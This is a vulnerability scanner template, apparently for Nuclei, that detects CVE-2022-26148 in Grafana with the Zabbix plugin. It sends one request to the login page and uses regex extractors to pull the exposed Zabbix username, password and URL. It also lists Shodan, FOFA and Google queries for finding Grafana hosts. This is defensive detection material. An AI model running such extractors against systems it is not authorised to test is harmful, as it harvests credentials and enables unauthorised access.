CVE-2022-26148: Grafana & Zabbix Integration - Credentials Disclosure

id: CVE-2022-26148

info:
  name: Grafana & Zabbix Integration - Credentials Disclosure
  author: Geekby
  severity: critical
  description: |
    Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential data breaches.
  remediation: |
    Update to the latest version of the Grafana & Zabbix Integration plugin to fix the vulnerability.
  reference:
    - https://2k8.org/post-319.html
    - https://security.netapp.com/advisory/ntap-20220425-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26148
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26148
    cwe-id: CWE-312
    epss-score: 0.85845
    epss-percentile: 0.99343
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - app="Grafana"
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2022,grafana,zabbix,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/login?redirect=%2F"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zabbix":'
          - '"zbx":'
          - "alexanderzobnin-zabbix-datasource"
        condition: or

      - type: regex
        part: body
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
          - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'
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